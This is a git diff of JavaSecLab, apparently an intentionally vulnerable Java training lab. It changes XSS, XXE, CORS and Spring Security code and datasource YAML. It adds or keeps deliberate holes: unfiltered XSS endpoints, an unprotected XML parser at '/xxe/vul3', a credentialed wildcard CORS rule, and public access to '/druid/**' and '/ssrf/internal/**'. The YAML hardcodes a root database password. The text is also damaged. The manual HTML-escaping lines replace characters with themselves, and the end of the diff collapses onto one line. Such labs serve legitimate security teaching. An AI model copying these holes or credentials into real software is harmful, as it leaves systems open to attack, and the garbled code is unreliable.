    +                log.info("[-]XSS-反射性-前端白名单过滤:" + payload);
    +                filterContented = payload; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题)
                     break;
                 case "backEnd":
    -                Matcher matcher = pattern.matcher(content);
    -                if (matcher.matches()){
    -                    return R.ok(content);
    -                }else return R.error("输入内容包含非法字符,请检查输入");
    +                log.info("[-]XSS-反射性-后端白名单过滤:" + payload);
    +                Matcher matcher = pattern.matcher(payload);
    +                if (matcher.matches()) {
    +                    return R.ok(payload);
    +                } else return R.error("输入内容包含非法字符,请检查输入");
     
             }
             return R.ok(filterContented);
         }
    -    @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行")
    -    @RequestMapping("/safe2")
    +
    +    @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是由浏览器实施的额外防护层,可降低恶意脚本加载和执行风险,但不能替代输出编码与安全模板/DOM用法")
    +    @GetMapping("/safe2")
         @ResponseBody
    -    @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    -    public String safe2(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletResponse response) {
    -        response.setHeader("Content-Security-Policy","default-src self");
    -        response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; other-uri /xss/reflect/csp-other-endpoint");
    -        return content;
    +    @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +    public String safe2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) {
    +        response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'");
    +        response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; report-uri /xss/reflect/csp-report-endpoint");
    +        log.info("[-]XSS-反射性-内容安全策略-CSP防护:" + payload);
    +        return payload;
         }
    +
         @GetMapping("/a-safe2-CSP-front")
    -    public String safeCSPFront(){
    +    public String safeCSPFront() {
             return "vul/xss/csp-protect";
         }
    +
         @PostMapping("/csp-report-endpoint")
         public void receiveCSPReport(@RequestBody String reportData) {
             // 获取当前时间
    @@ -152,27 +151,30 @@ public void receiveCSPReport(@RequestBody String reportData) {
     //            System.err.println("Error writing CSP violation other to file: " + e.getMessage());
     //        }
         }
    -    @ApiOperation(value = "安全代码:特殊字符实体转义", notes = "特殊字符实体转义是一种将 HTML 中的特殊字符转换为预定义实体表示的过程。这种转义是为了确保在 HTML 页面中正确显示特定字符,同时避免它们被浏览器误解为 HTML 标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞。")
    -    @RequestMapping("/safe3")
    +
    +    @ApiOperation(value = "安全代码:HTML正文输出编码", notes = "将HTML正文文本中的特殊字符编码为实体,避免浏览器把不可信数据解析为HTML标签或JavaScript。不同输出上下文需要使用不同编码策略")
    +    @GetMapping("/safe3")
         @ResponseBody
         @ApiImplicitParams({
                 @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class),
    -            @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +            @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
         })
    -    public R safe3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) {
    +    public R safe3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) {
             String filterContented = "";
    -        switch (type){
    +        switch (type) {
                 case "manual":
    -                content = StringUtils.replace(content, "&", "&");
    -                content = StringUtils.replace(content, "<", "<");
    -                content = StringUtils.replace(content, ">", ">");
    -                content = StringUtils.replace(content, "\"", """);
    -                content = StringUtils.replace(content, "'", "'");
    -                content = StringUtils.replace(content, "/", "/");
    -                filterContented = content;
    +                payload = StringUtils.replace(payload, "&", "&");
    +                payload = StringUtils.replace(payload, "<", "<");
    +                payload = StringUtils.replace(payload, ">", ">");
    +                payload = StringUtils.replace(payload, "\"", """);
    +                payload = StringUtils.replace(payload, "'", "'");
    +                payload = StringUtils.replace(payload, "/", "/");
    +                filterContented = payload;
    +                log.info("[-]XSS-反射型-HTML正文输出编码-手动编码:" + payload);
                     break;
                 case "spring":
    -                filterContented = HtmlUtils.htmlEscape(content);
    +                filterContented = HtmlUtils.htmlEscape(payload);
    +                log.info("[-]XSS-反射型-HTML正文输出编码-Spring框架:" + payload);
                     break;
                 default:
                     return R.error("参数输入有误!");
    @@ -180,11 +182,11 @@ public R safe3(@ApiParam(name = "type", value = "类型", required = true) @Requ
             return R.ok(filterContented);
         }
     
    -    @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险。")
    +    @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly可以阻止客户端脚本直接读取带有该属性的Cookie,降低XSS窃取Cookie的影响,但不能修复XSS本身")
         @RequestMapping(value = "/safe4", method = RequestMethod.GET)
         @ResponseBody
    -    @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    -    public R safe4(@ApiParam(name = "content", value = "请求参数", required = true) String content, HttpServletRequest request,HttpServletResponse response) {
    +    @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +    public R safe4(@ApiParam(name = "payload", value = "请求参数", required = true) String payload, HttpServletRequest request, HttpServletResponse response) {
             Cookie cookie = request.getCookies()[0];
             cookie.setHttpOnly(true); // 设置为 HttpOnly
     
    @@ -192,6 +194,6 @@ public R safe4(@ApiParam(name = "content", value = "请求参数", required = tr
             cookie.setPath("/");
     
             response.addCookie(cookie);
    -        return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:"+content);
    +        return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:" + payload);
         }
     }
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
    index a91f126..1ddb25d 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java
    @@ -45,14 +45,14 @@ public String xssStore() {
             return "vul/xss/store";
         }
     
    -    @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入存储到数据库中")
    -    @RequestMapping("/vul")
    +    @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入和User-Agent持久化;后续页面不安全渲染时触发存储型XSS")
    +    @PostMapping("/vul")
         @ResponseBody
    -    @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    -    public R vul(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletRequest request) {
    -        log.info("存储型XSS:" + content);
    +    @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class)
    +    public R vul(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload,HttpServletRequest request) {
    +        log.info("[+]XSS-存储性-原生无过滤:" + payload);
             String ua = request.getHeader("User-Agent");
    -        final int code = xssService.insertOne(content,ua);
    +        final int code = xssService.insertOne(payload,ua);
             if (code == 1) {
                 log.info("插入数据成功!");
                 return R.ok("插入数据成功!");
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java b/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
    index 0c4546a..8d9b938 100644
    --- a/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
    +++ b/src/main/java/top/whgojp/modules/xss/controller/UEditorController.java
    @@ -46,14 +46,8 @@ public String ueditor() {
         public void getConfigInfo(HttpServletRequest request, HttpServletResponse response) {
             response.setContentType("application/json");
     
    -        String rootPath = "";
    -        // 判断当前系统是否是Windows系统
    -        if (isWindowsSystem()) {
    -            rootPath = ClassUtils.getDefaultClassLoader().getResource("").getPath() + "static/ueditor/jsp";
    -        } else {
    -            // 将config.json文件放在jar包同级目录下
    -            rootPath = "/Users/whgojp/Desktop/Security/JAVA/JavaSecLab/src/main/resources/static/lib/ueditor/jsp";
    -        }
    +        String rootPath = Objects.requireNonNull(ClassUtils.getDefaultClassLoader().getResource("")).getPath()
    +                + "static/lib/ueditor/jsp";
             log.info("rootPath:{}", rootPath);
             try {
                 response.setCharacterEncoding("UTF-8");
    diff --git a/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java
    new file mode 100644
    index 0000000..4ad2018
    --- /dev/null
    +++ b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java
    @@ -0,0 +1,41 @@
    +package top.whgojp.modules.xss.controller.base;
    +
    +import lombok.extern.slf4j.Slf4j;
    +import org.springframework.beans.factory.annotation.Autowired;
    +import org.thymeleaf.util.StringUtils;
    +import top.whgojp.common.utils.CheckUserInput;
    +import top.whgojp.common.utils.R;
    +
    +import javax.servlet.http.HttpServletRequest;
    +
    +@Slf4j
    +public abstract class XssBaseController {
    +    @Autowired
    +    protected CheckUserInput checkUserInput;
    +
    +    protected R handleXssPayload(String payload, String type, boolean enableFilter) {
    +        if (StringUtils.isEmpty(payload)) {
    +            return R.error("参数不能为空");
    +        }
    +        
    +        log.info("[+]XSS-{}-收到payload:{}", type, payload);
    +        
    +        if (enableFilter) {
    +            String filteredPayload = checkUserInput.filter(payload);
    +            log.info("[+]XSS-{}-过滤后:{}", type, filteredPayload);
    +            return R.ok(filteredPayload);
    +        }
    +        
    +        return R.ok(payload);
    +    }
    +
    +    protected String getUserAgent(HttpServletRequest request) {
    +        String ua = request.getHeader("User-Agent");
    +        return StringUtils.isEmpty(ua) ? "unknown" : ua;
    +    }
    +
    +    protected boolean isValidView(String view) {
    +        return !StringUtils.isEmpty(view) && 
    +               (view.equals("vul") || view.equals("safe"));
    +    }
    +}
    diff --git a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java
    index 034a024..164e309 100644
    --- a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java
    +++ b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java
    @@ -8,7 +8,6 @@
     import top.whgojp.modules.xss.service.XssService;
     import top.whgojp.modules.xss.mapper.XssMapper;
     import org.springframework.stereotype.Service;
    -
     import java.util.List;
     
     /**
    @@ -18,30 +17,42 @@
     */
     @Slf4j
     @Service
    -public class XssServiceImpl extends ServiceImpl
    -    implements XssService{
    +public class XssServiceImpl extends ServiceImpl implements XssService {
         @Autowired
         private XssMapper xssMapper;
     
         @Override
         public int insertOne(String content, String ua) {
    -        final int code = xssMapper.insertAll(content,ua,DateUtil.now());
    -        return code;
    +        try {
    +            log.info("插入XSS记录 - content: {}, ua: {}", content, ua);
    +            final int code = xssMapper.insertAll(content,ua,DateUtil.now());
    +            return code;
    +        } catch (Exception e) {
    +            log.error("插入XSS记录失败", e);
    +            return 0;
    +        }
         }
     
         @Override
         public List selectAll() {
    -        List xssList = xssMapper.selectAll();
    -        return xssList;
    +        try {
    +            List xssList = xssMapper.selectAll();
    +            return xssList;
    +        } catch (Exception e) {
    +            log.error("查询XSS记录失败", e);
    +            return null;
    +        }
         }
     
         @Override
         public int deleteById(int id) {
    -        int i = xssMapper.deleteById(id);
    -        return i;
    +        try {
    +            log.info("删除XSS记录 - id: {}", id);
    +            int i = xssMapper.deleteById(id);
    +            return i;
    +        } catch (Exception e) {
    +            log.error("删除XSS记录失败 - id: {}", id, e);
    +            return 0;
    +        }
         }
     }
    -
    -
    -
    -
    diff --git a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
    index 8c175bd..7f546b9 100644
    --- a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
    +++ b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java
    @@ -17,6 +17,7 @@
     
     import javax.xml.bind.JAXBContext;
     import javax.xml.bind.Unmarshaller;
    +import javax.xml.XMLConstants;
     import javax.xml.parsers.DocumentBuilder;
     import javax.xml.parsers.DocumentBuilderFactory;
     import javax.xml.parsers.SAXParser;
    @@ -73,7 +74,7 @@ public void characters(char[] ch, int start, int length) {
     
     
         /**
    -     * javax.xml.parsers.SAXParser 是 XMLReader 的替代品,它提供了更多的安全措施,例如默认禁用 DTD 和外部实体的声明,如果需要使用 DTD 或外部实体,可以手动启用它们,并使用相应的安全措施
    +     * SAXParser 解析不可信 XML 时同样需要显式关闭 DTD、外部实体和外部 DTD 加载。
          */
         @RequestMapping(value = "/vul2")
         @ResponseBody
    @@ -100,6 +101,19 @@ public void characters(char[] ch, int start, int length) {
             }
         }
     
    +    @RequestMapping(value = "/vul3")
    +    @ResponseBody
    +    public String vul3(@RequestParam String payload) {
    +        try {
    +            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    +            DocumentBuilder builder = factory.newDocumentBuilder();
    +            Document document = builder.parse(new InputSource(new StringReader(payload)));
    +            return formatXmlText(document.getDocumentElement().getTextContent());
    +        } catch (Exception e) {
    +            return e.toString();
    +        }
    +    }
    +
     
     //    @ApiOperation(value = "vul:xmlbeam")
     //    @RequestMapping(value = "/xmlbeam")
    @@ -215,6 +229,8 @@ public String safe1(@RequestParam String payload) {
                 xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                 xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
                 xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    +            xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    +            xmlReader.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));
                 StringWriter stringWriter = new StringWriter();
                 xmlReader.setContentHandler(new DefaultHandler() {
                     public void characters(char[] ch, int start, int length) {
    @@ -234,6 +250,29 @@ public void characters(char[] ch, int start, int length) {
             }
         }
     
    +    @RequestMapping(value = "/safe3")
    +    @ResponseBody
    +    public String safe3(@RequestParam String payload) {
    +        try {
    +            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    +            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    +            factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    +            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    +            factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    +            factory.setXIncludeAware(false);
    +            factory.setExpandEntityReferences(false);
    +            setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_DTD, "");
    +            setAttributeIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
    +
    +            DocumentBuilder builder = factory.newDocumentBuilder();
    +            builder.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));
    +            Document document = builder.parse(new InputSource(new StringReader(payload)));
    +            return formatXmlText(document.getDocumentElement().getTextContent());
    +        } catch (Exception e) {
    +            return e.toString();
    +        }
    +    }
    +
         @RequestMapping(value = "/safe2")
         @ResponseBody
         public String safe2(@RequestParam String payload) {
    @@ -246,6 +285,20 @@ public String safe2(@RequestParam String payload) {
             return "[-]XML内容安全";
         }
     
    +    private String formatXmlText(String text) {
    +        if (text == null) {
    +            return "";
    +        }
    +        return text.replace("\n", "
    "); + } + + private void setAttributeIfSupported(DocumentBuilderFactory factory, String name, String value) { + try { + factory.setAttribute(name, value); + } catch (IllegalArgumentException e) { + log.warn("XML parser does not support attribute: {}", name); + } + } } diff --git a/src/main/java/top/whgojp/security/SecurityConfigurer.java b/src/main/java/top/whgojp/security/SecurityConfigurer.java index 403ed45..51ee6aa 100755 --- a/src/main/java/top/whgojp/security/SecurityConfigurer.java +++ b/src/main/java/top/whgojp/security/SecurityConfigurer.java @@ -3,6 +3,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpMethod; import org.springframework.http.HttpStatus; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; @@ -19,7 +20,6 @@ import org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices; import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.cors.CorsConfigurationSource; -import org.springframework.web.cors.UrlBasedCorsConfigurationSource; import top.whgojp.common.config.AuthIgnoreConfig; import top.whgojp.common.constant.SysConstant; import top.whgojp.common.filter.ValidateCodeFilter; @@ -81,7 +81,16 @@ protected void configure(HttpSecurity http) throws Exception { permitAll.add("/static/js/**"); permitAll.add("/static/css/**"); permitAll.add("/static/other/**"); -// permitAll.add("/druid/**"); + permitAll.add("/images/**"); + permitAll.add("/lib/**"); + permitAll.add("/js/**"); + permitAll.add("/css/**"); + permitAll.add("/api/**"); + permitAll.add("/upload/**"); + permitAll.add("/other/**"); + permitAll.add("/ssrf/internal/**"); + permitAll.add("/ssrf/redirect"); + permitAll.add("/druid/**"); // permitAll.add("/ueditor/**"); String[] urls = permitAll.stream().distinct().toArray(String[]::new); @@ -92,7 +101,8 @@ protected void configure(HttpSecurity http) throws Exception { // 权限 http.authorizeRequests(authorize -> // 开放权限 - authorize.antMatchers(urls).permitAll() + authorize.antMatchers(HttpMethod.OPTIONS, "/**").permitAll() + .antMatchers(urls).permitAll() .anyRequest().authenticated()); // 使用jwt 关闭session校验 @@ -100,8 +110,8 @@ protected void configure(HttpSecurity http) throws Exception { // http.addFilterBefore(jwtRequestFilter, UsernamePasswordAuthenticationFilter.class); - // 如果不需要验证码校验登录 可以注释掉该行 -// http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class); + // 登录验证码校验,验证码一次性使用,避免同一验证码被重复提交。 + http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class); // 添加session管理器 session失效后跳到登录页 @@ -116,8 +126,9 @@ protected void configure(HttpSecurity http) throws Exception { .successHandler(authenticationSuccessHandler()) .failureHandler(customSimpleUrlAuthenticationFailureHandler()); - - http.exceptionHandling().authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.BAD_REQUEST)); + // TODO: 2025/1/12 解决登录就报错400状态码问题 GPT害死人啊 注释后就没问题了 + // 设置自定义的未认证用户访问受保护资源时的响应行为,并在用户未通过认证时返回 HTTP 状态码 400 BAD_REQUEST +// http.exceptionHandling().authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.BAD_REQUEST)); http.logout() .logoutSuccessHandler(customLogoutSuccessHandler()) @@ -132,15 +143,37 @@ protected void configure(HttpSecurity http) throws Exception { } - // 解决跨域 + // 全局跨域演示配置。跨源安全模块需要由 Controller 自己控制响应头,避免被全局通配配置污染。 public CorsConfigurationSource corsConfigurationSource() { - UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); - CorsConfiguration corsConfiguration = new CorsConfiguration(); - corsConfiguration.addAllowedOrigin("*"); - corsConfiguration.addAllowedHeader("*"); - corsConfiguration.addAllowedMethod("*"); - source.registerCorsConfiguration("/**", corsConfiguration); - return source; + return request -> { + String uri = request.getRequestURI(); + if (uri.startsWith("/crossorigin/corsVul")) { + CorsConfiguration corsConfiguration = new CorsConfiguration(); + corsConfiguration.addAllowedOriginPattern("*"); + corsConfiguration.setAllowCredentials(true); + corsConfiguration.addAllowedHeader("*"); + corsConfiguration.addAllowedMethod("*"); + return corsConfiguration; + } + if (uri.startsWith("/crossorigin/corsSafe")) { + CorsConfiguration corsConfiguration = new CorsConfiguration(); + corsConfiguration.addAllowedOrigin("http://127.0.0.1:8080"); + corsConfiguration.addAllowedOrigin("https://127.0.0.1:8080"); + corsConfiguration.setAllowCredentials(true); + corsConfiguration.addAllowedHeader("Content-Type"); + corsConfiguration.addAllowedMethod("GET"); + corsConfiguration.addAllowedMethod("OPTIONS"); + return corsConfiguration; + } + if (uri.startsWith("/crossorigin/")) { + return null; + } + CorsConfiguration corsConfiguration = new CorsConfiguration(); + corsConfiguration.addAllowedOrigin("*"); + corsConfiguration.addAllowedHeader("*"); + corsConfiguration.addAllowedMethod("*"); + return corsConfiguration; + }; } @Bean @@ -153,6 +186,7 @@ public PasswordEncoder passwordEncoder() { public AuthenticationSuccessHandler authenticationSuccessHandler() { CustomSavedRequestAwareAuthenticationSuccessHandler customSavedRequestAwareAuthenticationSuccessHandler = new CustomSavedRequestAwareAuthenticationSuccessHandler(); customSavedRequestAwareAuthenticationSuccessHandler.setDefaultTargetUrl("/index"); + customSavedRequestAwareAuthenticationSuccessHandler.setAlwaysUseDefaultTargetUrl(true); // customSavedRequestAwareAuthenticationSuccessHandler.setEmailPush(emailPush); // customSavedRequestAwareAuthenticationSuccessHandler.setSmsService(smsService); // customSavedRequestAwareAuthenticationSuccessHandler.setWeChatService(wechatService); @@ -182,4 +216,4 @@ public AuthenticationFailureHandler customSimpleUrlAuthenticationFailureHandler( } -} \ No newline at end of file +} diff --git a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java index 0ac6635..ebca529 100755 --- a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java +++ b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java @@ -10,7 +10,6 @@ import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.security.web.authentication.SimpleUrlAuthenticationFailureHandler; import org.springframework.stereotype.Component; -import org.springframework.util.StringUtils; import top.whgojp.common.constant.SysConstant; import top.whgojp.common.enums.LoginError; @@ -26,14 +25,10 @@ public class CustomSimpleUrlAuthenticationFailureHandler extends SimpleUrlAuthen private static final String DEFAULT_FAILURE_URL = SysConstant.LOGIN_URL; - private String defaultFailureUrl; - - - @Override public void onAuthenticationFailure(HttpServletRequest request, HttpServletResponse response, AuthenticationException exception) throws IOException, ServletException { - super.onAuthenticationFailure(request, response, exception); setDefaultFailureUrl(determineFailureUrl(exception)); + super.onAuthenticationFailure(request, response, exception); log.info("当前异常:"+exception.getMessage()); String loginIp = request.getRemoteHost(); @@ -50,24 +45,22 @@ public void CustomOnAuthenticationFailure(Exception exception){ } private String determineFailureUrl(AuthenticationException exception) { - // 默认设置登录错误页面为/login - defaultFailureUrl = StringUtils.hasLength(defaultFailureUrl) ? defaultFailureUrl : DEFAULT_FAILURE_URL; - + String failureUrl = DEFAULT_FAILURE_URL; Integer failureType = determineFailureType(exception).getType(); if (failureType != null) { - defaultFailureUrl += defaultFailureUrl.lastIndexOf("?") > 0 ? "&" : "?" + "error=" + failureType; + failureUrl += (failureUrl.lastIndexOf("?") > 0 ? "&" : "?") + "error=" + failureType; } - return defaultFailureUrl; + return failureUrl; } private LoginError determineFailureType(AuthenticationException exception) { - if (exception.getMessage() == "验证码为空"){ + if ("验证码为空".equals(exception.getMessage())){ return LoginError.CAPTCHANOTFOUND; - } else if (exception.getMessage() == "验证码过期") { + } else if ("验证码过期".equals(exception.getMessage())) { return LoginError.CAPTCHAEXPIRED; - } else if (exception.getMessage() == "验证码不正确") { + } else if ("验证码不正确".equals(exception.getMessage())) { return LoginError.CAPTCHAERROR; } else if (exception instanceof UsernameNotFoundException) { return LoginError.USERNAMENOTFOUND; @@ -82,14 +75,4 @@ private LoginError determineFailureType(AuthenticationException exception) { return LoginError.FAILURE; } - - public String getDefaultFailureUrl() { - return defaultFailureUrl; - } - - @Override - public void setDefaultFailureUrl(String defaultFailureUrl) { - super.setDefaultFailureUrl(defaultFailureUrl); - } - } diff --git a/src/main/resources/application-dev.yml b/src/main/resources/application-dev.yml index 999df61..a0c1ca4 100755 --- a/src/main/resources/application-dev.yml +++ b/src/main/resources/application-dev.yml @@ -1,43 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 -# wall: -# config: -# multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true -# Hibernate 配置:将当前上下文策略设置为 Spring -# jpa: -# properties: -# hibernate: -# current_session_context_class: thread \ No newline at end of file + jpa: + database-platform: org.hibernate.dialect.MySQLDialect + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application-docker.yml b/src/main/resources/application-docker.yml index c0151f3..f7b4556 100755 --- a/src/main/resources/application-docker.yml +++ b/src/main/resources/application-docker.yml @@ -1,45 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://Container-MYSQL8:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true -# url: jdbc:mysql://47.94.130.42:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 - # wall: - # config: - # multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: 